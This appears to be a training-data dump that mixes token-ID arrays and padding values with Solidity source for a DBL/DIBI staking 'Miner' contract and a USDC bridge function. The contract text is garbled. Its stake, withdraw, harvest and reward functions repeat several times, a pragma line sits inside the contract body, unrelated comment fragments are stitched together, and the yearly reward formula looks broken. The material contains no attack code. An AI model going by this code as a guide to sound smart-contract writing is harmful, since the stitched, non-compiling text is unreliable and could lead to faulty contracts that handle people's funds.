[ 1, 4625, 348, 7953, 560, 30, 380, 632, 20392, 10229, 326, 6432, 1300, 434, 19588, 364, 392, 2236, 487, 434, 279, 1203, 1300, 632, 5206, 3914, 1300, 1297, 506, 279, 727, 1235, 1203, 578, 469, 333, 445, 903, 15226, 358, 5309, 7524, 13117, 18, 632, 891, 2236, 1021, 1758, 434, 326, 2236, 358, 866, 632, 891, 1203, 1854, 1021, 1203, 1300, 358, 336, 326, 12501, 11013, 622, 632, 2463, 1021, 1300, 434, 19588, 326, 2236, 9323, 487, 434, 326, 864, 1203, 19, 5783, 866, 4486, 8399, 11013, 4804, 866, 10592, 3634, 11013, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0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 445, 1689, 2432, 29637, 12, 2867, 2236, 16, 2254, 1203, 1854, 13, 203, 3639, 3903, 203, 3639, 1476, 203, 3639, 1135, 261, 11890, 5034, 13, 203, 565, 288, 203, 3639, 2583, 12, 2629, 1854, 411, 1203, 18, 2696, 16, 315, 2180, 3644, 2866, 588, 25355, 29637, 30, 486, 4671, 11383, 8863, 203, 203, 3639, 2254, 1578, 290, 1564, 4139, 273, 818, 1564, 4139, 63, 4631, 15533, 203, 3639, 309, 261, 82, 1564, 4139, 422, 374, 13, 288, 203, 5411, 327, 374, 31, 203, 3639, 289, 203, 203, 3639, 309, 261, 1893, 4139, 63, 4631, 6362, 82, 1564, 4139, 300, 404, 8009, 2080, 1768, 1648, 1203, 1854, 13, 288, 203, 5411, 327, 26402, 63, 4631, 6362, 82, 1564, 4139, 300, 404, 8009, 27800, 31, 203, 3639, 289, 203, 203, 3639, 309, 261, 1893, 4139, 63, 4631, 6362, 20, 8009, 2080, 1768, 405, 1203, 1854, 13, 288, 203, 5411, 327, 374, 31, 203, 3639, 289, 203, 203, 3639, 2254, 1578, 2612, 273, 374, 31, 203, 3639, 2254, 1578, 3854, 273, 290, 1564, 4139, 300, 404, 31, 203, 3639, 1323, 261, 5797, 405, 2612, 13, 288, 203, 5411, 25569, 3778, 3283, 273, 26402, 63, 4631, 6362, 5693, 15533, 203, 5411, 309, 261, 4057, 18, 2080, 1768, 422, 1203, 1854, 13, 288, 203, 7734, 327, 3283, 18, 27800, 31, 203, 7734, 2612, 273, 4617, 31, 203, 7734, 3854, 273, 4617, 300, 404, 31, 203, 5411, 289, 203, 3639, 289, 203, 3639, 327, 26402, 63, 4631, 6362, 8167, 8009, 27800, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xA316E8D4a6d36F36528b27419F6b3c0DFe7cD3d2/sources/contracts/DBLMiner.sol
using Strings for *;2020's total blocks: 2371755The Pause Guardian can pause certain actions as a safety mechanism.
contract Miner is Ownable{ address public immutable DBL; address public immutable DIBI; uint256 public constant FIREST_YEAR_DBL = 1050000 * 1e8 * 1e18; uint256 public immutable DEPLOY_BLOCK; uint public constant blocksPerYear = 2371755; address public admin; address public pendingAdmin; uint256 public perDibiSharedDbl = 0; uint256 public latestCalTime = 0; uint256 public latestBlockNum = 0; uint256 public totalStaked = 0; bool public rewardGuardianPaused = false; bool public stakeGuardianPaused = false; pragma solidity ^0.8.0; struct STAKER{ uint256 stakeBalance; uint256 lastHarvestBlock; uint256 harvestDebt; uint256 rewardPending; } mapping(address=>STAKER) public stakers; event Stake(address indexed staker,uint256 amounts, uint256 earned); event Harvest(address indexed harver,uint256 earned); event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); event NewAdmin(address oldAdmin, address newAdmin); event ActionPaused(string action, bool pauseState); constructor(address _dbl, address _dibi, uint256 _deploy_block){ require(_dbl != address(0) && _dibi != address(0),"INVALID ADDRESS"); DBL = _dbl; DIBI = _dibi; DEPLOY_BLOCK = _deploy_block; admin = msg.sender; } function stake(uint256 _amount) external { require(!rewardGuardianPaused && !stakeGuardianPaused, "STAKE_OR_REWARD IS PAUSED"); require(_amount > 0,"AMOUNT MUST > 0"); require(DEBIToken(DIBI).balanceOf(msg.sender) >= _amount, "INSUFFICIENT DIBI"); STAKER storage staker = stakers[msg.sender]; _calPerDibiSharedDbl(); uint256 earned = 0; if(staker.stakeBalance>0){ earned = ( perDibiSharedDbl * (staker.stakeBalance) - staker.harvestDebt ) / 1e18; if(earned>0 && earned!=2**256-1){ staker.rewardPending = staker.rewardPending + earned; } staker.lastHarvestBlock = block.number; } DEBIToken(DIBI).transferFrom(msg.sender,address(this),_amount); if(totalStaked==0) latestBlockNum=block.number; totalStaked += _amount; staker.stakeBalance += _amount; staker.harvestDebt = perDibiSharedDbl * staker.stakeBalance; emit Stake(msg.sender, _amount,earned); } function stake(uint256 _amount) external { require(!rewardGuardianPaused && !stakeGuardianPaused, "STAKE_OR_REWARD IS PAUSED"); require(_amount > 0,"AMOUNT MUST > 0"); require(DEBIToken(DIBI).balanceOf(msg.sender) >= _amount, "INSUFFICIENT DIBI"); STAKER storage staker = stakers[msg.sender]; _calPerDibiSharedDbl(); uint256 earned = 0; if(staker.stakeBalance>0){ earned = ( perDibiSharedDbl * (staker.stakeBalance) - staker.harvestDebt ) / 1e18; if(earned>0 && earned!=2**256-1){ staker.rewardPending = staker.rewardPending + earned; } staker.lastHarvestBlock = block.number; } DEBIToken(DIBI).transferFrom(msg.sender,address(this),_amount); if(totalStaked==0) latestBlockNum=block.number; totalStaked += _amount; staker.stakeBalance += _amount; staker.harvestDebt = perDibiSharedDbl * staker.stakeBalance; emit Stake(msg.sender, _amount,earned); } function stake(uint256 _amount) external { require(!rewardGuardianPaused && !stakeGuardianPaused, "STAKE_OR_REWARD IS PAUSED"); require(_amount > 0,"AMOUNT MUST > 0"); require(DEBIToken(DIBI).balanceOf(msg.sender) >= _amount, "INSUFFICIENT DIBI"); STAKER storage staker = stakers[msg.sender]; _calPerDibiSharedDbl(); uint256 earned = 0; if(staker.stakeBalance>0){ earned = ( perDibiSharedDbl * (staker.stakeBalance) - staker.harvestDebt ) / 1e18; if(earned>0 && earned!=2**256-1){ staker.rewardPending = staker.rewardPending + earned; } staker.lastHarvestBlock = block.number; } DEBIToken(DIBI).transferFrom(msg.sender,address(this),_amount); if(totalStaked==0) latestBlockNum=block.number; totalStaked += _amount; staker.stakeBalance += _amount; staker.harvestDebt = perDibiSharedDbl * staker.stakeBalance; emit Stake(msg.sender, _amount,earned); } function withdraw(uint256 _amount) public { require(stakers[msg.sender].stakeBalance >= _amount,"DBL: INSUFFICIENT DIBI"); STAKER storage staker = stakers[msg.sender]; if(block.number > staker.lastHarvestBlock){ _calPerDibiSharedDbl(); uint256 earned = ( perDibiSharedDbl * (staker.stakeBalance) - staker.harvestDebt ) / 1e18; if(earned>0 && earned!=2**256-1){ staker.rewardPending = staker.rewardPending + earned; } staker.lastHarvestBlock = block.number; } staker.stakeBalance -= _amount; staker.harvestDebt = staker.stakeBalance * perDibiSharedDbl; totalStaked -= _amount; DEBIToken(DIBI).transfer(msg.sender, _amount); } function withdraw(uint256 _amount) public { require(stakers[msg.sender].stakeBalance >= _amount,"DBL: INSUFFICIENT DIBI"); STAKER storage staker = stakers[msg.sender]; if(block.number > staker.lastHarvestBlock){ _calPerDibiSharedDbl(); uint256 earned = ( perDibiSharedDbl * (staker.stakeBalance) - staker.harvestDebt ) / 1e18; if(earned>0 && earned!=2**256-1){ staker.rewardPending = staker.rewardPending + earned; } staker.lastHarvestBlock = block.number; } staker.stakeBalance -= _amount; staker.harvestDebt = staker.stakeBalance * perDibiSharedDbl; totalStaked -= _amount; DEBIToken(DIBI).transfer(msg.sender, _amount); } function withdraw(uint256 _amount) public { require(stakers[msg.sender].stakeBalance >= _amount,"DBL: INSUFFICIENT DIBI"); STAKER storage staker = stakers[msg.sender]; if(block.number > staker.lastHarvestBlock){ _calPerDibiSharedDbl(); uint256 earned = ( perDibiSharedDbl * (staker.stakeBalance) - staker.harvestDebt ) / 1e18; if(earned>0 && earned!=2**256-1){ staker.rewardPending = staker.rewardPending + earned; } staker.lastHarvestBlock = block.number; } staker.stakeBalance -= _amount; staker.harvestDebt = staker.stakeBalance * perDibiSharedDbl; totalStaked -= _amount; DEBIToken(DIBI).transfer(msg.sender, _amount); } function unStake() external { require(stakers[msg.sender].stakeBalance>0,"DBL: INSUFFICIENT DIBI STAKE"); harvest(); withdraw(stakers[msg.sender].stakeBalance); } function harvest() public returns(uint256 earned){ require(stakers[msg.sender].stakeBalance > 0 || stakers[msg.sender].rewardPending > 0, "DBL: INSUFFICIENT STAKE OR REWARD"); require(block.number > stakers[msg.sender].lastHarvestBlock,"DBL: REPEAT HARVEST"); _calPerDibiSharedDbl(); STAKER storage staker = stakers[msg.sender]; earned = ( staker.stakeBalance * perDibiSharedDbl - staker.harvestDebt ) / 1e18; if(staker.rewardPending >0 || earned>0){ staker.lastHarvestBlock = block.number; staker.harvestDebt = staker.stakeBalance * perDibiSharedDbl; earned = staker.rewardPending + earned; staker.rewardPending = 0; uint256 dblbalance = DBLendToken(DBL).balanceOf(DBL); if(earned>dblbalance){ earned = dblbalance; } DBLendToken(DBL).mint(msg.sender,earned); emit Harvest(msg.sender, earned); } } function harvest() public returns(uint256 earned){ require(stakers[msg.sender].stakeBalance > 0 || stakers[msg.sender].rewardPending > 0, "DBL: INSUFFICIENT STAKE OR REWARD"); require(block.number > stakers[msg.sender].lastHarvestBlock,"DBL: REPEAT HARVEST"); _calPerDibiSharedDbl(); STAKER storage staker = stakers[msg.sender]; earned = ( staker.stakeBalance * perDibiSharedDbl - staker.harvestDebt ) / 1e18; if(staker.rewardPending >0 || earned>0){ staker.lastHarvestBlock = block.number; staker.harvestDebt = staker.stakeBalance * perDibiSharedDbl; earned = staker.rewardPending + earned; staker.rewardPending = 0; uint256 dblbalance = DBLendToken(DBL).balanceOf(DBL); if(earned>dblbalance){ earned = dblbalance; } DBLendToken(DBL).mint(msg.sender,earned); emit Harvest(msg.sender, earned); } } function harvest() public returns(uint256 earned){ require(stakers[msg.sender].stakeBalance > 0 || stakers[msg.sender].rewardPending > 0, "DBL: INSUFFICIENT STAKE OR REWARD"); require(block.number > stakers[msg.sender].lastHarvestBlock,"DBL: REPEAT HARVEST"); _calPerDibiSharedDbl(); STAKER storage staker = stakers[msg.sender]; earned = ( staker.stakeBalance * perDibiSharedDbl - staker.harvestDebt ) / 1e18; if(staker.rewardPending >0 || earned>0){ staker.lastHarvestBlock = block.number; staker.harvestDebt = staker.stakeBalance * perDibiSharedDbl; earned = staker.rewardPending + earned; staker.rewardPending = 0; uint256 dblbalance = DBLendToken(DBL).balanceOf(DBL); if(earned>dblbalance){ earned = dblbalance; } DBLendToken(DBL).mint(msg.sender,earned); emit Harvest(msg.sender, earned); } } function _calPerDibiSharedDbl() internal{ uint256 incDblPerDIBI = _calPerDibiIncDbl(); if(incDblPerDIBI > 0){ if(!rewardGuardianPaused){ perDibiSharedDbl += incDblPerDIBI; latestBlockNum = block.number; } } } function _calPerDibiSharedDbl() internal{ uint256 incDblPerDIBI = _calPerDibiIncDbl(); if(incDblPerDIBI > 0){ if(!rewardGuardianPaused){ perDibiSharedDbl += incDblPerDIBI; latestBlockNum = block.number; } } } function _calPerDibiSharedDbl() internal{ uint256 incDblPerDIBI = _calPerDibiIncDbl(); if(incDblPerDIBI > 0){ if(!rewardGuardianPaused){ perDibiSharedDbl += incDblPerDIBI; latestBlockNum = block.number; } } } function _calPerDibiIncDbl() internal view returns (uint256 incDblPerDIBI){ incDblPerDIBI = 0; if(rewardGuardianPaused) return incDblPerDIBI; if(block.number > latestBlockNum && totalStaked>0){ uint256 current = currentYearDibi(); uint256 increaseDbl = ( block.number - latestBlockNum ) * current / blocksPerYear ; incDblPerDIBI = increaseDbl / totalStaked; } return incDblPerDIBI; } function _calPerDibiIncDbl() internal view returns (uint256 incDblPerDIBI){ incDblPerDIBI = 0; if(rewardGuardianPaused) return incDblPerDIBI; if(block.number > latestBlockNum && totalStaked>0){ uint256 current = currentYearDibi(); uint256 increaseDbl = ( block.number - latestBlockNum ) * current / blocksPerYear ; incDblPerDIBI = increaseDbl / totalStaked; } return incDblPerDIBI; } function currentYearDibi() public view returns (uint256 current){ current = FIREST_YEAR_DBL; if(block.number > DEPLOY_BLOCK){ uint256 severalYears = (block.number - DEPLOY_BLOCK) / blocksPerYear; if (severalYears > 0) { current = FIREST_YEAR_DBL / (2 * severalYears); } } } function currentYearDibi() public view returns (uint256 current){ current = FIREST_YEAR_DBL; if(block.number > DEPLOY_BLOCK){ uint256 severalYears = (block.number - DEPLOY_BLOCK) / blocksPerYear; if (severalYears > 0) { current = FIREST_YEAR_DBL / (2 * severalYears); } } } function currentYearDibi() public view returns (uint256 current){ current = FIREST_YEAR_DBL; if(block.number > DEPLOY_BLOCK){ uint256 severalYears = (block.number - DEPLOY_BLOCK) / blocksPerYear; if (severalYears > 0) { current = FIREST_YEAR_DBL / (2 * severalYears); } } } function earnedBalance(address user) external view returns(uint256){ uint256 _perDibiIncDbl = _calPerDibiIncDbl(); return stakers[user].rewardPending + ( ( perDibiSharedDbl + _perDibiIncDbl ) * stakers[user].stakeBalance - stakers[user].harvestDebt ) / 1e18; } function getAmountStakedByAddr(address user) external view returns(uint256){ return stakers[user].stakeBalance; } function accountStoked(address addr) external view returns (uint256) { return stakers[addr].stakeBalance; } function balanceOf(address _account) external view returns (uint256){ return DBLendToken(DBL).balanceOf(_account); } function setRewardPaused(bool state) external onlyOwner returns (bool) { if(state){ _calPerDibiSharedDbl(); } rewardGuardianPaused = state; emit ActionPaused("Reward", state); return state; } function setRewardPaused(bool state) external onlyOwner returns (bool) { if(state){ _calPerDibiSharedDbl(); } rewardGuardianPaused = state; emit ActionPaused("Reward", state); return state; } function setStakePaused(bool state) external onlyOwner returns (bool) { stakeGuardianPaused = state; emit ActionPaused("Stake", state); return state; } function _setPendingAdmin(address _pendingAdming) external { require(msg.sender == admin && _pendingAdming != address(0),"Miner::Only Admin Allown"); address oldPendingAdmin = pendingAdmin; pendingAdmin = _pendingAdming; emit NewPendingAdmin(oldPendingAdmin, pendingAdmin); } function _acceptAdmin() external { require(msg.sender == pendingAdmin, "Miner::Must PendingAdmin"); address oldAdmin = admin; admin = pendingAdmin; pendingAdmin=address(0); emit NewAdmin(oldAdmin,admin); } function photobomb(address token, uint256 amount) onlyOwner external{ require(token != DIBI,"NOT ALLOWAN"); IERC20(token).transfer(msg.sender, amount); } }
8,337,792
[ 1, 4625, 348, 7953, 560, 30, 225, 1450, 8139, 364, 380, 31, 18212, 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353, 14223, 6914, 95, 203, 565, 1758, 1071, 11732, 2383, 48, 31, 203, 565, 1758, 1071, 11732, 3690, 31558, 31, 203, 565, 2254, 5034, 1071, 5381, 4011, 12030, 67, 15137, 67, 2290, 48, 273, 23633, 2787, 380, 404, 73, 28, 380, 404, 73, 2643, 31, 203, 565, 2254, 5034, 1071, 11732, 2030, 22971, 67, 11403, 31, 203, 565, 2254, 1071, 5381, 4398, 2173, 5593, 273, 576, 6418, 4033, 2539, 31, 203, 203, 565, 1758, 1071, 3981, 31, 203, 565, 1758, 1071, 4634, 4446, 31, 203, 203, 565, 2254, 5034, 1071, 1534, 40, 495, 77, 7887, 40, 3083, 273, 374, 31, 377, 203, 565, 2254, 5034, 1071, 4891, 3005, 950, 273, 374, 31, 203, 565, 2254, 5034, 1071, 4891, 1768, 2578, 273, 374, 31, 203, 565, 2254, 5034, 1071, 2078, 510, 9477, 273, 374, 31, 203, 203, 565, 1426, 1071, 19890, 16709, 2779, 28590, 273, 629, 31, 203, 565, 1426, 1071, 384, 911, 16709, 2779, 28590, 273, 629, 31, 203, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 20, 31, 203, 565, 1958, 2347, 14607, 654, 95, 203, 3639, 2254, 5034, 384, 911, 13937, 31, 203, 3639, 2254, 5034, 1142, 44, 297, 26923, 1768, 31, 203, 3639, 2254, 5034, 17895, 26923, 758, 23602, 31, 203, 3639, 2254, 5034, 19890, 8579, 31, 203, 565, 289, 203, 565, 2874, 12, 2867, 9207, 882, 14607, 654, 13, 1071, 384, 581, 414, 31, 203, 377, 203, 565, 871, 934, 911, 12, 2867, 8808, 384, 6388, 16, 11890, 5034, 30980, 16, 2254, 5034, 425, 1303, 329, 1769, 203, 565, 871, 670, 297, 26923, 12, 2867, 8808, 17895, 502, 16, 11890, 5034, 425, 1303, 329, 1769, 203, 377, 203, 565, 871, 1166, 8579, 4446, 12, 2867, 1592, 8579, 4446, 16, 1758, 394, 8579, 4446, 1769, 203, 565, 871, 1166, 4446, 12, 2867, 1592, 4446, 16, 1758, 394, 4446, 1769, 203, 203, 203, 565, 871, 4382, 28590, 12, 1080, 1301, 16, 1426, 11722, 1119, 1769, 203, 565, 3885, 12, 2867, 389, 1966, 80, 16, 1758, 389, 72, 495, 77, 16, 2254, 5034, 389, 12411, 67, 2629, 15329, 203, 3639, 2583, 24899, 1966, 80, 480, 1758, 12, 20, 13, 597, 389, 72, 495, 77, 480, 1758, 12, 20, 3631, 6, 9347, 11689, 10203, 8863, 203, 3639, 2383, 48, 273, 389, 1966, 80, 31, 203, 3639, 3690, 31558, 273, 389, 72, 495, 77, 31, 203, 3639, 2030, 22971, 67, 11403, 273, 389, 12411, 67, 2629, 31, 203, 3639, 3981, 273, 1234, 18, 15330, 31, 203, 565, 289, 203, 203, 565, 445, 384, 911, 12, 11890, 5034, 389, 8949, 13, 3903, 288, 203, 3639, 2583, 12, 5, 266, 2913, 16709, 2779, 28590, 597, 401, 334, 911, 16709, 2779, 28590, 16, 315, 882, 37, 6859, 67, 916, 67, 862, 21343, 4437, 15662, 20093, 8863, 203, 203, 203, 3639, 2583, 24899, 8949, 405, 374, 10837, 2192, 51, 5321, 10685, 405, 374, 8863, 203, 3639, 2583, 12, 1639, 15650, 969, 12, 2565, 31558, 2934, 12296, 951, 12, 3576, 18, 15330, 13, 1545, 389, 8949, 16, 315, 706, 6639, 42, 1653, 7266, 2222, 3690, 31558, 8863, 203, 3639, 2347, 14607, 654, 2502, 384, 6388, 273, 384, 581, 414, 63, 3576, 18, 15330, 15533, 7010, 3639, 389, 771, 2173, 40, 495, 77, 7887, 40, 3083, 5621, 203, 3639, 2254, 5034, 425, 1303, 329, 273, 374, 31, 203, 3639, 309, 12, 334, 6388, 18, 334, 911, 13937, 34, 20, 15329, 203, 5411, 425, 1303, 329, 273, 261, 1534, 40, 495, 77, 7887, 40, 3083, 380, 261, 334, 6388, 18, 334, 911, 13937, 13, 300, 384, 6388, 18, 30250, 26923, 758, 23602, 262, 342, 404, 73, 2643, 31, 203, 5411, 309, 12, 73, 1303, 329, 34, 20, 597, 425, 1303, 329, 5, 33, 22, 636, 5034, 17, 21, 15329, 203, 7734, 384, 6388, 18, 266, 2913, 8579, 273, 384, 6388, 18, 266, 2913, 8579, 397, 425, 1303, 329, 31, 203, 5411, 289, 203, 5411, 384, 6388, 18, 2722, 44, 297, 26923, 1768, 273, 1203, 18, 2696, 31, 203, 3639, 289, 203, 3639, 2030, 15650, 969, 12, 2565, 31558, 2934, 13866, 1265, 12, 3576, 18, 15330, 16, 2867, 12, 2211, 3631, 67, 8949, 1769, 203, 3639, 309, 12, 4963, 510, 9477, 631, 20, 13, 4891, 1768, 2578, 33, 2629, 18, 2696, 31, 203, 3639, 2078, 510, 9477, 1011, 389, 8949, 31, 203, 203, 3639, 384, 6388, 18, 334, 911, 13937, 1011, 389, 8949, 31, 203, 3639, 384, 6388, 18, 30250, 26923, 758, 23602, 273, 1534, 40, 495, 77, 7887, 40, 3083, 380, 384, 6388, 18, 334, 911, 13937, 31, 203, 3639, 3626, 934, 911, 12, 3576, 18, 15330, 16, 389, 8949, 16, 73, 1303, 329, 1769, 203, 565, 289, 203, 203, 565, 445, 384, 911, 12, 11890, 5034, 389, 8949, 13, 3903, 288, 203, 3639, 2583, 12, 5, 266, 2913, 16709, 2779, 28590, 597, 401, 334, 911, 16709, 2779, 28590, 16, 315, 882, 37, 6859, 67, 916, 67, 862, 21343, 4437, 15662, 20093, 8863, 203, 203, 203, 3639, 2583, 24899, 8949, 405, 374, 10837, 2192, 51, 5321, 10685, 405, 374, 8863, 203, 3639, 2583, 12, 1639, 15650, 969, 12, 2565, 31558, 2934, 12296, 951, 12, 3576, 18, 15330, 13, 1545, 389, 8949, 16, 315, 706, 6639, 42, 1653, 7266, 2222, 3690, 31558, 8863, 203, 3639, 2347, 14607, 654, 2502, 384, 6388, 273, 384, 581, 414, 63, 3576, 18, 15330, 15533, 7010, 3639, 389, 771, 2173, 40, 495, 77, 7887, 40, 3083, 5621, 203, 3639, 2254, 5034, 425, 1303, 329, 273, 374, 31, 203, 3639, 309, 12, 334, 6388, 18, 334, 911, 13937, 34, 20, 15329, 203, 5411, 425, 1303, 329, 273, 261, 1534, 40, 495, 77, 7887, 40, 3083, 380, 261, 334, 6388, 18, 334, 911, 13937, 13, 300, 384, 6388, 18, 30250, 26923, 758, 23602, 262, 342, 404, 73, 2643, 31, 203, 5411, 309, 12, 73, 1303, 329, 34, 20, 597, 425, 1303, 329, 5, 33, 22, 636, 5034, 17, 21, 15329, 203, 7734, 384, 6388, 18, 266, 2913, 8579, 273, 384, 6388, 18, 266, 2913, 8579, 397, 425, 1303, 329, 31, 203, 5411, 289, 203, 5411, 384, 6388, 18, 2722, 44, 297, 26923, 1768, 273, 1203, 18, 2696, 31, 203, 3639, 289, 203, 3639, 2030, 15650, 969, 12, 2565, 31558, 2934, 13866, 1265, 12, 2 ]
./full_match/1/0x16Db542C30fB3519D11CF8F632077c62c1a944fd/sources/contracts/abstracts/USDCBridge.sol
* @dev Owner can change the l2 message bridge It will change the current l2 message bridge @param newMessageService The new message bridge address/
function changeMessageService( IMessageService newMessageService ) external onlyOwner nonZeroAddress(address(newMessageService)) { if (messageService == newMessageService) revert SameMessageServiceAddr(address(messageService)); address oldAddress = address(messageService); messageService = newMessageService; emit MessageServiceUpdated(oldAddress, address(newMessageService)); }
9,619,533
[ 1, 4625, 348, 7953, 560, 30, 380, 632, 5206, 16837, 848, 2549, 326, 328, 22, 883, 10105, 2597, 903, 2549, 326, 783, 328, 22, 883, 10105, 632, 891, 394, 1079, 1179, 1021, 394, 883, 10105, 1758, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 